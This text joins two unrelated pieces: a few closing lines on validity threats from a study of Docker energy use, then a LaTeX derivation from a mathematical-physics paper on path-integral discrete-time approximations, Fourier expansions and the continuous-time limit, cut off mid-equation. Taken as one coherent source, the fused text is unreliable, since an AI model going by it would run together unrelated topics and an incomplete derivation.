not be indicative of real loads, but, after taking several energy samples, the
comparisons can give an idea of the differences. SSH and VPN were only used
for configuring the machines before the tests were run; none of the traffic in
any of the tests used SSH or used the same network interface as the VPN\@.
\paragraph{External validity} The applications selected as test cases do not
necessarily apply to other applications, even of similar type. Generalizations
are hard to draw from such a small set of applications. Even different
versions of the same application have different energy
profiles~\cite{energy_versions,greenoracle}---especially when the load makes
different operating system calls. External parties need to consider the
resources required by their application in order to best evaluate the
consequences of using Docker.
Finally, the System-Under-Test that we used only represents a single machine
configuration. Having multiple test platforms that differ in performance and
architecture would allow for more generalized findings.
|
1,477,468,750,064 | arxiv | \subsection{Discrete-time approximation}
\noindent
The interval $[0,\beta]$ is divided into $m$ subintervals of length $\beta/m$. Let
\be\label{xl-km+i}
x^l_{km+i}=\omega_l((km+i)\beta/m),\qquad l=1,\ldots
,p,\quad k=0,\ldots,n_l-1,\quad i=1,\ldots,m,\qquad x^l_{n_l m}\equiv x^l_0=x_l,
\ee
cf. Eq.~(\ref{G}). Then, with the notation
\be
E_m(x)=\exp\left\{-\frac{\beta}{m} u_L(x)\right\}
\ee
the discrete-time approximation of $G\left[\{n_l\}_1^p\right]$ is
\bea
G_m\left[\{n_l\}_1^p\right]= \int_\Lambda \prod_{l=1}^p\prod_{j=1}^{n_l m}\d x^l_j\int\prod_{l=1}^p\prod_{j=1}^{n_l m} W^{\beta/m}_{x^l_{j-1}x^l_j}(\d\omega^l_j) \prod_{i=1}^m \prod_{l=1}^p\ \prod_{0\leq j<k\leq n_l-1}E_m(x^l_{km+i}-x^l_{jm+i})\nonumber\\
\prod_{i=1}^m\, \prod_{1\leq l'<l\leq p}\prod_{j=0}^{n_{l'}-1}\prod_{k=0}^{n_{l}-1} E_m(x^l_{km+i}-x^{l'}_{jm+i}).
\eea
\subsection{ Fourier expansions}
Let us start with the Wiener measure. From Eqs.~(\ref{W}) and (\ref{norms})
\be
\int W^{\beta/m}_{xy}(\d\omega)=\sum_{z\in\Zz^d}\int P^{\beta/m}_{x,y+Lz}(\d\omega) =\lambda_{\beta/m}^{-d}\sum_{z\in\Zz^d}e^{-\pi(x-y+Lz)^2/\lambda_{\beta/m}^2} =\frac{1}{L^d}\sum_{z\in\Zz^d}e^{-\pi\lambda_{\beta/m}^2z^2/L^2} e^{\i\frac{2\pi}{L}z\cdot (x-y)}.
\ee
The rightmost form, obtained via the Poisson summation formula, is the Fourier representation we need. Then,
\bea\label{prodW}
\int\prod_{j=1}^{n_l m} W^{\beta/m}_{x^l_{j-1}x^l_j}(\d\omega^l_j) =\frac{1}{L^{dn_lm}} \sum_{v^l_{10},v^l_{21},\ldots,v^l_{n_lm,n_lm-1}\in\Zz^d} \exp\left\{-\frac{\pi\lambda_{\beta}^2}{mL^2}\sum_{j=1}^{n_lm}(v^l_{j,j-1})^2\right\} \nonumber\\
\times \exp\left\{\i\frac{2\pi}{L}\sum_{j=1}^{n_lm}v^l_{j,j-1}\cdot(x^l_j-x^l_{j-1})\right\}.
\eea
Now
\be
\sum_{j=1}^{n_lm}v^l_{j,j-1}\cdot(x^l_j-x^l_{j-1})=\sum_{j=1}^{n_lm}(v^l_{j,j-1}-v^l_{j+1,j})\cdot x^l_j \quad \mbox{where}\quad v^l_{n_lm+1,n_lm}\equiv v^l_{10}.
\ee
Introduce
\be
v^l_j=v^l_{j,j-1}-v^l_{j+1,j}\ ,\quad j=1,\ldots,n_lm,
\ee
then
\be\label{sumvlj}
\sum_{j=1}^{n_lm} v^l_j=0.
\ee
Furthermore, with the notation
\be
v_l=v^l_{n_lm,n_lm-1},
\ee
\be
v^l_{j,j-1}=v_l+\sum_{j'=j}^{n_lm-1}v^l_{j'},\qquad j=1,\ldots,n_lm.
\ee
Therefore
\be
\sum_{j=1}^{n_lm}(v^l_{j,j-1})^2= \sum_{j=1}^{n_1m}(v_l+\sum_{j'=j}^{n_lm-1}v^l_{j'})^2,
\ee
\be
\sum_{j=1}^{n_lm}v^l_{j,j-1}\cdot(x^l_j-x^l_{j-1})=\sum_{j=1}^{n_lm}v^l_j\cdot x^l_j.
\ee
Substituting these two expressions into Eq.~(\ref{prodW}),
\bea\label{Wxj-1xj}
\int\prod_{j=1}^{n_l m} W^{\beta/m}_{x^l_{j-1}x^l_j}(\d\omega^l_j) =\frac{1}{L^{dn_lm}}
\sum_{v_l\in\Zz^d}\ \sum_{v^l_{1},v^l_{2},\ldots,v^l_{n_lm-1}\in\Zz^d} \exp\left\{-\frac{\pi\lambda_{\beta}^2}{mL^2}\sum_{j=1}^{n_lm}(v_l+\sum_{j'=j}^{n_lm}v^l_{j'})^2\right\} \nonumber\\
\prod_{i=1}^m\prod_{k=0}^{n_l-1}\exp\left\{\i\frac{2\pi}{L}v^l_{km+i}\cdot x^l_{km+i}\right\}.
\eea
We extended the summation with respect to $j'$ up to $n_lm$ for aesthetic reasons; the added integer vector $v^l_{n_lm}$ is not a summation variable and it does not change the sum with respect to $v_l$ in $\Zz^d$. Because of $v^l_{n_lm}=-\sum_{j=1}^{n_lm-1} v^l_{j}$,
\be
\sum_{j'=j}^{n_lm}v^l_{j'}=-\sum_{j'=1}^{j-1}v^l_{j'}.
\ee
The Fourier expansion of the Boltzmann factors is
\be\label{Ell'}
E_m(x^l_{km+i}-x^{l'}_{jm+i})=\sum_{z_{l'j}^{lk}(i)\in\Zz^d}\hat{E}_m\left(z_{l'j}^{lk}(i)\right) \exp\left\{\i\frac{2\pi}{L}z_{l'j}^{lk}(i)\cdot (x^l_{km+i}-x^{l'}_{jm+i}) \right\}.
\ee
Here
\be\label{hatEmz}
\hat{E}_m(z)=\frac{1}{L^d}\int_\Lambda \exp\left\{-{\mathrm i}\frac{2\pi}{L}z\cdot x\right\}\exp\left\{-\frac{\beta}{m}u_L(x)\right\} \d x =\delta_{z,0} -\frac{\beta}{mL^d}\ \hat{u}(z/L)+\frac{1}{L^d}O(1/m^2)
\ee
with
\be
\hat{u}(z/L)=\int \exp\left\{-\i\frac{2\pi}{L}z\cdot x\right\} u(x) \d x.
\ee
Some short notations will be useful:
\be
\calZ_{l}=\left(\Zz^d\right)^{mn_l(n_l-1)/2}, \quad
\calZ_<=\left(\Zz^d\right)^{m\sum_{l'<l}n_{l'}n_l}, \quad
\calZ=\left(\Zz^d\right)^{mN(N-1)/2}.
\ee
The elements of these sets are considered as sets of vectors from $\Zz^d$, and the notation
\be\label{E^Z}
\hat{E}_m^Z=\prod_{z\in Z}\hat{E}_m(z)
\ee
will be used for $Z\in\calZ_{l}$, $\calZ_<$, $\calZ$.
Now
\be
\prod_{i=1}^m\ \prod_{0\leq j<k\leq n_l-1} E_m(x^l_{km+i}-x^l_{jm+i}) =\sum_{Z\in\calZ_{l}}\hat{E}_m^Z
\prod_{i=1}^m \exp\left\{\i\frac{2\pi}{L}\sum_{k=1}^{n_l-1}\sum_{j=0}^{k-1} z^{lk}_{lj}(i)\cdot(x^l_{km+i}-x^l_{jm+i})\right\}
\ee
which, after substituting
\be
\sum_{k=1}^{n_l-1}\sum_{j=0}^{k-1} z^{lk}_{lj}(i)\cdot(x^l_{km+i}-x^l_{jm+i})=\sum_{k=0}^{n_l-1} x^l_{km+i}\cdot \left(\sum_{j=0}^{k-1}z^{lk}_{lj}(i) - \sum_{j=k+1}^{n_l-1}z^{lj}_{lk}(i)\right)
\ee
results in
\be\label{Eml}
\prod_{i=1}^m\ \prod_{0\leq j<k\leq n_l-1} E_m(x^l_{km+i}-x^l_{jm+i}) =\sum_{Z\in\calZ_{l}}\hat{E}_m^Z\prod_{i=1}^m \prod_{k=0}^{n_l-1} \exp\left\{\i\frac{2\pi}{L} x^l_{km+i}\cdot \left(\sum_{j=0}^{k-1}z^{lk}_{lj}(i) - \sum_{j=k+1}^{n_l-1}z^{lj}_{lk}(i)\right)\right\}.
\ee
Furthermore,
\be
\sum_{1\leq l'<l\leq p}\sum_{k=0}^{n_l-1}\sum_{j=0}^{n_{l'}-1}z^{lk}_{l'j}(i)\cdot \left(x^l_{km+i}-x^{l'}_{jm+i}\right) =\sum_{l=1}^p\sum_{k=0}^{n_l-1}x^l_{km+i}\cdot\left(\sum_{l'=1}^{l-1}\sum_{j=0}^{n_{l'}-1}z^{lk}_{l'j}(i) -\sum_{l'=l+1}^p\sum_{j=0}^{n_{l'}-1}z^{l'j}_{lk}(i)\right),
\ee
so
\bea\label{Eml'ljk}
\lefteqn{\prod_{i=1}^m\, \prod_{1\leq l'<l\leq p}\prod_{j=0}^{n_{l'}-1}\prod_{k=0}^{n_{l}-1} E_m(x^l_{km+i}-x^{l'}_{jm+i})}
\nonumber\\
&&=\sum_{Z\in\calZ_<}\hat{E}_m^Z\prod_{i=1}^m\prod_{l=1}^p\prod_{k=0}^{n_l-1} \exp\left\{\i\frac{2\pi}{L} x^l_{km+i}\cdot \left(\sum_{l'=1}^{l-1}\sum_{j=0}^{n_{l'}-1}z^{lk}_{l'j}(i) -\sum_{l'=l+1}^p\sum_{j=0}^{n_{l'}-1}z^{l'j}_{lk}(i)\right)\right\}.
\eea
From Eqs.~(\ref{Wxj-1xj}), (\ref{Eml}) and (\ref{Eml'ljk}) one can collect the multiplier of $x^l_{km+i}$.
If we write $G_m\left[\{n_l\}_1^p\right]$ as
\be
G_m\left[\{n_l\}_1^p\right]=\int_\Lambda \prod_{l=1}^p\prod_{j=1}^{n_lm}\d x^l_j\ G\left[\left\{(x^l_j)_{j=1}^{n_lm},n_l\right\}_{l=1}^p\right]
\ee
then
\bea\label{Gxlj-nl}
\lefteqn{
G\left[\left\{(x^l_j)_{j=1}^{n_lm},n_l\right\}_{l=1}^p\right]=\sum_{Z\in\calZ}\hat{E}_m^Z}
\nonumber\\
&&\prod_{l=1}^p
\left\{\sum_{v_l\in\Zz^d}\ \sum_{v^l_{1},v^l_{2},\ldots,v^l_{n_lm-1}\in\Zz^d} \left[e^{-\frac{\pi\lambda_{\beta}^2}{mL^2}\sum_{j=1}^{n_lm}(v_l+\sum_{j'=j}^{n_lm}v^l_{j'})^2}
\prod_{k=0}^{n_l-1}\prod_{i=1}^m\frac{1}{L^d} e^{\i\frac{2\pi}{L}x^l_{km+i}\cdot(v^l_{km+i}- z^l_{km+i})}\right]\right\}
\nonumber\\
\eea
where
\be\label{zlkm+i}
z^l_{km+i}=-\sum_{j=0}^{k-1}z^{lk}_{lj}(i)+\sum_{j=k+1}^{n_l-1}z^{lj}_{lk}(i)-\sum_{l'=1}^{l-1}\sum_{j=0}^{n_{l'}-1}z^{lk}_{l'j}(i) +\sum_{l'=l+1}^p\sum_{j=0}^{n_{l'}-1}z^{l'j}_{lk}(i).
\ee
The multiple sum (\ref{Gxlj-nl}) is absolutely convergent and can be integrated term by term. Integration with respect to $x^l_j$ in $\Lambda$ makes $v^l_j$ coincide with $z^l_j$ for all $j$ (including $n_lm$ via $v^l_{n_lm}=-\sum_{j=1}^{n_lm-1} v^l_{j}$) and turns Eq.~(\ref{sumvlj}) into
\be
\sum_{j=1}^{n_lm}z^l_j=0.
\ee
Thus,
\be\label{Gm1}
G_m\left[\{n_l\}_1^p\right]=\sum_{Z\in\calZ} \left(\prod_{l=1}^p \delta_{\sum_{j=1}^{n_lm}z^l_j,0}\right)\hat{E}_m^Z \sum_{v_l\in\Zz^d} \exp\left\{-\frac{\pi\lambda_{\beta}^2}{mL^2}\sum_{j=1}^{n_lm}(v_l+\sum_{j'=j}^{n_lm}z^l_{j'})^2\right\}.
\ee
Finally, defining
\be
Z^l_j=\sum_{j'=j}^{n_lm}z^l_{j'},\qquad \overline{Z^l_{^\cdot}}=\frac{1}{n_lm}\sum_{j=1}^{n_lm}Z^l_j,\qquad \overline{\left(Z^l_{^\cdot}\right)^2}=\frac{1}{n_lm}\sum_{j=1}^{n_lm}(Z^l_j)^2,
\ee
where we use the same notations for the averages as for their $m\to\infty$ limit in (\ref{exprewritten}), Eq.~(\ref{Gm1}) becomes
\bea\label{Gm2}
\lefteqn{
G_m\left[\{n_l\}_1^p\right] = \sum_{Z\in\calZ} \left(\prod_{l=1}^p \delta_{Z^l_1,0}\right) \hat{E}_m^Z \sum_{z\in\Zz^d} \exp\left\{-\frac{\pi\lambda_{\beta}^2}{mL^2}\sum_{j=1}^{n_lm}(z+Z^l_j)^2\right\}
} \nonumber\\
&&=\sum_{Z\in\calZ} \left(\prod_{l=1}^p \delta_{Z^l_1,0}\right)\hat{E}_m^Z \exp\left\{-\frac{\pi n_l\lambda_{\beta}^2}{L^2} \left[\overline{\left(Z^l_{^\cdot}\right)^2}-\overline{Z^l_{^\cdot}}^2\right]\right\}\sum_{z\in\Zz^d} \exp\left\{-\frac{\pi n_l\lambda_\beta^2}{L^2}\left(z+\overline{Z^l_{^\cdot}}\right)^2\right\}.
\eea
A consequence of $Z^l_1=0$ is that $\overline{\left(Z^l_{^\cdot}\right)^2}-\overline{Z^l_{^\cdot}}^2=0$ if and only if $Z^l_j=0$ for $j=1,\ldots,n_lm$ which holds if and only if $z^l_j=0$ for $j=1,\ldots,n_lm$. (Note: $Z^l_j=-\sum_{j=1}^{j-1}z^l_{j}$ as well, cf. Eq.~(\ref{sumvlj}).) This is the finite-$m$ equivalent of Remark~\ref{D_l^2=0}.
At this point it is useful to change the notation and number the particles continuously from 1 to $N$. Particle $lk$, the $k$th particle (starting from 0) of the $l$th cycle will carry the number $N_{l-1}+k+1$ when counted continuously, so the identities new$\equiv$old are
\be\label{z-continuous-number}
z^{N_{l-1}+k+1}_{N_{l'-1}+j+1}(i)\equiv z^{lk}_{l'j}(i)\ \mbox{or}\ z^q_{j'}(i)\equiv z^{l,q-N_{l-1}-1}_{l',j'-N_{l'-1}-1}(i),
\quad z_{N_{l-1}+k+1}(i)\equiv z^l_{km+i}\ \mbox{or}\ z_q(i)\equiv z^l_{(q-N_{l-1}-1)m+i}
\ee
for $q\in C_l$ and $j'\in C_{l'}$.
The new notation is better suited to $\hat{E}_m^Z$ which is independent of the cycle structure. Also, the expression (\ref{zlkm+i}) is replaced by the cycle-independent
\be\label{zji}
z_q(i)=-\sum_{j=1}^{q-1} z^q_{j}(i) + \sum_{k=q+1}^N z^{k}_q(i), \qquad q=1,\ldots,N, \quad i=1,\ldots,m,
\ee
and the expanded form of $Z^l_j$, $\overline{Z^l_{^\cdot}}$ and $\overline{\left(Z^l_{^\cdot}\right)^2}$ in terms of the individual $z$ vectors becomes more transparent. For $q\in C_l$ one finds
\bea\label{Zlqi}
\lefteqn{Z^l_{(q-N_{l-1}-1)m+i}=\sum_{i'=i}^m\sum_{k=q}^{N_l}z_{k}(i)+\sum_{i'=1}^{i-1}\sum_{k=q+1}^{N_l}z_{k}(i)}
\\
&&=\sum_{i'=i}^m\left[-\sum_{j=1}^{q-1}\sum_{k=q}^{N_l}z^{k}_{j}(i') +\sum_{j=q}^{N_l}\sum_{k=N_l+1}^Nz^{k}_{j}(i')\right]
+\sum_{i'=1}^{i-1}\left[-\sum_{j=1}^{q}\sum_{k=q+1}^{N_l}z^{k}_{j}(i') +\sum_{j=q+1}^{N_l}\sum_{k=N_l+1}^N z^{k}_{j}(i')\right].
\nonumber
\eea
In particular,
\be\label{Zl1new}
Z^l_1=\sum_{i=1}^m\left[-\sum_{j=1}^{N_{l-1}}\sum_{k\in C_l}z^{k}_{j}(i) +\sum_{j\in C_l}\sum_{k=N_l+1}^N z^{k}_{j}(i)\right].
\ee
Moreover,
\bea\label{Zldot}
\lefteqn{\overline{Z^l_{^\cdot}}=\frac{1}{n_l}\sum_{q\in C_l}\sum_{i=1}^m \left(q-N_{l-1}-1+\frac{i}{m}\right) z_q(i)}\nonumber\\
&&=\frac{1}{n_l}\sum_{q\in C_l}\left[-\sum_{j=1}^{q-1}\sum_{i=1}^m\left(q-N_{l-1}-1+\frac{i}{m}\right)\,z^{q}_{j}(i) +\sum_{k=q+1}^{N}\sum_{i=1}^m\left(q-N_{l-1}-1+\frac{i}{m}\right)\,z^{k}_{q}(i)\right]
\nonumber\\
\eea
and
\bea\label{Zldotsquare}
\overline{\left(Z^l_{^\cdot}\right)^2}&=&\frac{1}{n_l}\sum_{k,k'=0}^{n_l-1}\ \sum_{i,i'=1}^m \min\left\{k+\frac{i}{m},k'+\frac{i'}{m}\right\} z^l_{km+i}\cdot z^l_{k'm+i'}
\nonumber\\
&=&\frac{1}{n_l}\sum_{q,q'\in C_l}\ \sum_{i,i'=1}^m\left(\min\left\{q+\frac{i}{m},q'+\frac{i'}{m}\right\}-N_{l-1}-1\right) z_{q}(i)\cdot z_{q'}(i').
\eea
The last formula becomes complete after (\ref{zji}) is substituted in it.
\subsection{The limit of continuous time}
The result of the limit when $m$ tends to infinity can be seen on the simplest example, that of $N=2$.
Because in this case there is a single pair, the notation can be simplified by writing $z(i)$ instead of $z^2_1(i)$.
Now $\calZ=(\Zz^d)^m$ whose elements are $Z=\{z(1),\ldots,z(m)\}$. There are two partitions of 2: $p=1$, $n_1=2$ and $p=2$, $n_1=n_2=1$.
\vspace{10pt}
\noindent
{\bf One two-particle trajectory}
\vspace{10pt}
\noindent
When $p=1$ then $l=1$, $N_{l-1}=0$, $N=N_1=n_1=2$, so from (\ref{zji}) and (\ref{Zl1new})
\be
z_1(i)=z(i),\quad z_2(i)=-z(i), \quad Z^1_1\equiv 0.
\ee
Moreover,
\be
\overline{Z^1_\cdot}=\frac{1}{2}\sum_{i=1}^m\left[ -\left(1+\frac{i}{m}\right)z(i) +\frac{i}{m}z(i)\right] = - \frac{1}{2}\sum_{i=1}^m z(i),
\ee
\bea
\overline{\left(Z^1_\cdot\right)^2}=\frac{1}{2}\sum_{j,j'=1}^2\sum_{i,i'=1}^m \left(\min\left\{j+\frac{i}{m},j'+\frac{i'}{m}\right\}-1\right) z_j(i)\cdot z_{j'}(i') \nonumber\\
=\frac{1}{2}\left(\sum_{i=1}^m z(i)\right)^2 - \frac{1}{2}\sum_{i,i'=1}^m\frac{|i-i'|}{m} z(i)\cdot z(i')\nonumber\\
= 2 \overline{Z^1_\cdot}^2 - \frac{1}{2}\sum_{i,i'=1}^m\frac{|i-i'|}{m} z(i)\cdot z(i').
\eea
Thus,
\be
\overline{\left(Z^1_\cdot\right)^2}- \overline{Z^1_\cdot}^2= \sum_{i,j=1}^m \left(\frac{1}{4}-\frac{|i-j|}{2m}\right)z(i)\cdot z(j).
\ee
Although it will not be used, we mention that the spectral problem associated with the above quadratic form can be solved exactly.
\begin{proposition}\label{spec(A)}
Let $A$ be the $m\times m$ matrix of elements $A_{ij}=\frac{m}{4}-\frac{|i-j|}{2}$. Then
\[
A^{-1}=
\begin{bmatrix}
2&-1&0&\dots&0&0&1\\
-1&2&-1&\dots&0&0&0\\
\hdotsfor[1.8]{7}\\
0&0&0&\dots&-1&2&-1\\
1&0&0&\dots&0&-1&2
\end{bmatrix},
\]
i.e., minus the discrete Laplace operator with antiperiodic boundary condition $v(j+m)=-v(j)$. The eigenvalues and eigenvectors of $A^{-1}$ are
\[\lambda_{2q-1}=\lambda_{2q}=2\left(1-\cos\frac{(2q-1)\pi}{m}\right)\]
\[v_{2q-1}(j)=\sin\frac{(2q-1)\pi}{m}j,\quad v_{2q}(j)=\cos\frac{(2q-1)\pi}{m}j\qquad (q=1,\dots,\lfloor m/2\rfloor)\]
and
\[\lambda_m=4,\quad v_m(j)=(-1)^j\qquad \mbox{if $m$ is odd}.\]
\end{proposition}
The proof was obtained by making and verifying an ansatz based on numerical calculations of the eigenvalues and eigenvectors of $A$ up to $m=50$.
\vspace{10pt}
\noindent
{\bf Two one-particle trajectories}
\vspace{10pt}
\noindent
In this case
\[
Z^1_1=-Z^2_1=\sum_{i=1}^m z(i)
\]
\[
\overline{Z^1_\cdot}=-\overline{Z^2_\cdot}=\sum_{i=1}^m\frac{i}{m} z(i)
\]
\[
\overline{(Z^1_\cdot)^2}=\overline{(Z^2_\cdot)^2}=\sum_{i,j=1}^m \min\left\{\frac{i}{m},\frac{j}{m}\right\}z(i)\cdot z(j).
\]
If $z(i)\neq 0$ precisely for $\alpha$ values of $i$, say, for $i_1<i_2<\cdots<i_\alpha$ then everywhere one can replace $\sum_{i=1}^m$ by $\sum_{r=1}^\alpha$ and $i$ in the summand by $i_r$. Because $z(i_r)$ is a summation variable over $\Zz^d\setminus\{0\}$, for its labelling the value of $i_r$ is unimportant and the notation $z_r$ can be used for it. All this permits to rewrite
\be
G_m\left[\{n_l\}_1^p\right]=\sum_{Z\in(\Zz^d)^m} \left(\prod_{l=1}^p \delta_{Z^l_1,0}\right)\hat{E}_m^Z\ f_{\left[\{n_l\}_1^p\right]}\left(\{i/m\}_{i=1}^m,Z\right)
\ee
where
\be
f_{[2]}\left(\{i/m\}_{i=1}^m,Z\right)=\exp\left\{-\frac{\pi\lambda_\beta^2}{L^2}\sum_{i,j=1}^m\left(\frac{1}{2}-\frac{|i-j|}{m}\right)z(i)\cdot z(j)\right\}
\sum_{z\in\Zz^d}\exp\left\{-\frac{2\pi\lambda_\beta^2}{L^2}\left(z-\frac{1}{2}\sum_{i=1}^m z(i)\right)^2\right\}
\ee
and
\bea
f_{[1,1]}\left(\{i/m\}_{i=1}^m,Z\right)
=
\exp\left\{-\frac{2\pi\lambda_\beta^2}{L^2} \sum_{i,j=1}^m\left[\min\left\{\frac{i}{m},\frac{j}{m}\right\}-\frac{ij}{m^2}\right]z(i)\cdot z(j)\right\}\nonumber\\
\left[\sum_{z\in\Zz^d}\exp\left\{-\frac{\pi\lambda_\beta^2}{L^2}\left(z+\sum_{i=1}^m \frac{i}{m}z(i)\right)^2\right\}\right]^2
\eea
as
\bea
G_m\left[\{n_l\}_1^p\right]
&=&
\sum_{z(1),\dots,z(m)\in\Zz^d}\left(\prod_{l=1}^p \delta_{Z^l_1,0}\right) \hat{E}_m(z(1))\cdots\hat{E}_m(z(m))
f_{\left[\{n_l\}_1^p\right]}\left(\{i/m\}_{i=1}^m,Z\right)
\nonumber\\
&=&
\sum_{\alpha=0}^m \hat{E}_m(0)^{m-\alpha} \sum_{z_1,\dots,z_\alpha\in\Zz^d\setminus\{0\}}\left(\prod_{l=1}^p \delta_{Z^l_1,0}\right) \hat{E}_m(z_1) \cdots \hat{E}_m(z_\alpha)
\nonumber\\
&\times&
\sum_{1\leq i_1<\cdots <i_\alpha\leq m}\,f_{\left[\{n_l\}_1^p\right]}\left(\{i_r/m\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right).\nonumber\\
\eea
Now
\bea
\sum_{1\leq i_1<\cdots <i_\alpha\leq m}\, f_{\left[\{n_l\}_1^p\right]}\left(\{i_r/m\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right) =\sum_{i_\alpha=\alpha}^m\ \sum_{i_{\alpha-1}=\alpha-1}^{i_\alpha-1}\cdots \sum_{i_1=1}^{i_2-1}f_{\left[\{n_l\}_1^p\right]}\left(\{i_r/m\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right)\nonumber\\
=m^\alpha\, \frac{1}{m}\sum_{i_\alpha=\alpha}^m\ \frac{1}{m}\sum_{i_{\alpha-1}=\alpha-1}^{i_\alpha-1}\cdots \frac{1}{m}\sum_{i_1=1}^{i_2-1}f_{\left[\{n_l\}_1^p\right]}\left(\{i_r/m\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right)\nonumber\\
=m^\alpha \frac{1}{m}\sum_{t_\alpha=\alpha/m}^1\ \frac{1}{m}\sum_{t_{\alpha-1}=(\alpha-1)/m}^{t_\alpha-1/m}\cdots \frac{1}{m}\sum_{t_1=1/m}^{t_2-1/m}f_{\left[\{n_l\}_1^p\right]}\left(\{t_r\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right)
\nonumber\\
\eea
where each $t_r=i_r/m$ varies by steps $1/m$. From Eq.~(\ref{hatEmz}) we substitute $\hat{E}_m(z)$, dropping the $O(1/m^2)$ term which disappears in the $m\to\infty$ limit. This gives
\bea
\lefteqn{
G_m\left[\{n_l\}_1^p\right]=\sum_{\alpha=0}^m \left(1-\frac{\beta \hat{u}(0)}{mL^d}\right)^{m-\alpha}\left(\frac{-\beta}{L^d}\right)^\alpha \sum_{z_1,\dots,z_\alpha\in\Zz^d\setminus\{0\}}\left(\prod_{l=1}^p \delta_{Z^l_1,0}\right)\hat{u}(z_1/L) \cdots \hat{u}(z_\alpha/L)
}\nonumber\\
&&\times\frac{1}{m}\sum_{t_\alpha=\alpha/m}^1\ \frac{1}{m}\sum_{t_{\alpha-1}=(\alpha-1)/m}^{t_\alpha-1/m}\cdots \frac{1}{m}\sum_{t_1=1/m}^{t_2-1/m}f_{\left[\{n_l\}_1^p\right]}\left(\{t_r\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right) =\sum_{\alpha=0}^M \cdots + \sum_{\alpha=M+1}^m \cdots
\nonumber\\
\eea
Taking the modulus of the second sum, $|f_{\left[\{n_l\}_1^p\right]}|$ has the $\alpha$-independent upper bound
\be
|f_{[2]}|\leq \sum_{z\in\Zz^d} \exp\left\{-\frac{2\pi\lambda_\beta^2}{L^2}z^2\right\},\quad f_{[1,1]}\leq\left[\sum_{z\in\Zz^d} \exp\left\{-\frac{\pi\lambda_\beta^2}{L^2}z^2\right\}\right]^2,
\ee
and the remaining part of the summand is bounded above by
\[
\frac{1}{\alpha !}\left(\frac{\beta \sum_{z\neq 0}|\hat{u}(z/L)|}{L^d}\right)^\alpha.
\]
Therefore
$\lim_{m\to\infty}\sum_{\alpha=M+1}^m\cdots$ is absolutely convergent and goes to zero as $M$ goes to infinity, implying
\bea
G\left[\{n_l\}_1^p\right]
=e^{-\beta\hat{u}(0)/L^d}
\sum_{\alpha=0}^\infty \left(\frac{-\beta}{L^d}\right)^\alpha \sum_{z_1,\dots,z_\alpha\in\Zz^d\setminus\{0\}}\left(\prod_{l=1}^p \delta_{Z^l_1,0}\right)\hat{u}(z_1/L) \cdots \hat{u}(z_\alpha/L)
\nonumber\\
\times\int_0^1\d t_\alpha\int_0^{t_\alpha}\d t_{\alpha-1}\cdots\int_0^{t_2}\d t_1 f_{\left[\{n_l\}_1^p\right]}\left(\{t_r\}_{r=1}^\alpha,\{z_r\}_{r=1}^\alpha\right).
\nonumber\\
\eea
This ends the proof of the Lemma for $N=2$. Note that for $p=2$ the constraint $\sum_{r=1}^\alpha z_r=0$ acts both on $\alpha$ and on the set of variables $z_1,\dots,z_\alpha$: for $\alpha=1$ the sum over $\Zz^d\setminus \{0\}$ is empty and for $\alpha>1$ only $\alpha-1$ variables can be chosen freely from $\Zz^d\setminus\{0\}$, meaning that these terms are of order $L^{-d}$.
For a general $N$, consider first the limit of the exponents in Eq.~(\ref{Gm2}). In the first line
\be
\frac{1}{m}\sum_{j=1}^{n_lm}(z+Z^l_j)^2=\sum_{k=0}^{n_l-1}\frac{1}{m}\sum_{i=1}^m (z+Z^l_{km+i})^2 =\sum_{q\in C_l}\frac{1}{m}\sum_{i=1}^m (z+Z^l_{(q-N_{l-1}-1)m+i})^2.
\ee
Substituting for $Z^l_{(q-N_{l-1}-1)m+i}$ the expression (\ref{Zlqi}) and keeping only the nonzero $z$ vectors,
\be
\sum_{i'=i}^m z^{k}_{j}(i')=\sum_{r=1}^{\alpha^{k}_{j}}{\bf 1}\left\{\frac{i^{k}_{j,r}}{m}\geq \frac{i}{m}\right\}z^{k}_{j}\left(i^{k}_{j,r}\right), \qquad \sum_{i'=1}^{i-1} z^{k}_{j}(i')=\sum_{r=1}^{\alpha^{k}_{j}}{\bf 1}\left\{\frac{i^{k}_{j,r}}{m}< \frac{i}{m}\right\}z^{k}_{j}\left(i^{k}_{j,r}\right).
\ee
When $m$ tends to infinity
\[
i/m\to t,\quad i^{k}_{j,r}/m\to t^{k}_{j,r},\quad z^{k}_{j}\left(i^{k}_{j,r}\right)\to z^{k}_{j,r},\quad Z^l_{(q-N_{l-1}-1)m+i}\to Z_q(t).
\]
These together yield $\int_0^1[z+Z_q(t)]^2\d t$
as shown in Eqs.~(\ref{QNL}) and (\ref{Zqt}). For the $m\to\infty$ limit of (\ref{Zldot}) first we rewrite it as
\be
\overline{Z^l_{^\cdot}}
=\frac{1}{n_l}\sum_{q\in C_l}\left[-\sum_{j=1}^{q-1}\sum_{r=1}^{\alpha^q_j}\left(q-N_{l-1}-1+\frac{i^q_{j,r}}{m}\right)\,z^{q}_{j}(i^q_{j,r}) +\sum_{k=q+1}^{N}\sum_{r=1}^{\alpha^k_q}\left(q-N_{l-1}-1+\frac{i^k_{q,r}}{m}\right)\,z^{k}_{q}(i^k_{q,r})\right].
\ee
Interchanging the order of summations with respect to $q$ and $j$ and to $q$ and $k$ and letting $m$ go to infinity one obtains the second form of $\overline{Z^l_{^\cdot}}$, see Eq.~(\ref{intZqbis}). In particular,
\be
\int_0^1 Z_q(t)\d t=
-\sum_{j=1}^{q-1}\sum_{r=1}^{\alpha^q_j}\left(q-N_{l-1}-1+t^q_{j,r}\right)\,z^{q}_{j,r} +\sum_{k=q+1}^{N}\sum_{r=1}^{\alpha^k_q}\left(q-N_{l-1}-1+t^k_{q,r}\right)\,z^{k}_{q,r}.
\ee
The $m\to\infty$ limit of (\ref{Zldotsquare}) by using (\ref{zji}) is
\bea\label{avZl^2}
n_l\overline{\left(Z^l_{^\cdot}\right)^2}
&=&\sum_{k,k'\in C_l}\sum_{j=1}^{k-1}\sum_{j'=1}^{k'-1} \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{kk'}z^k_{j,r}\cdot z^{k'}_{j',r'}
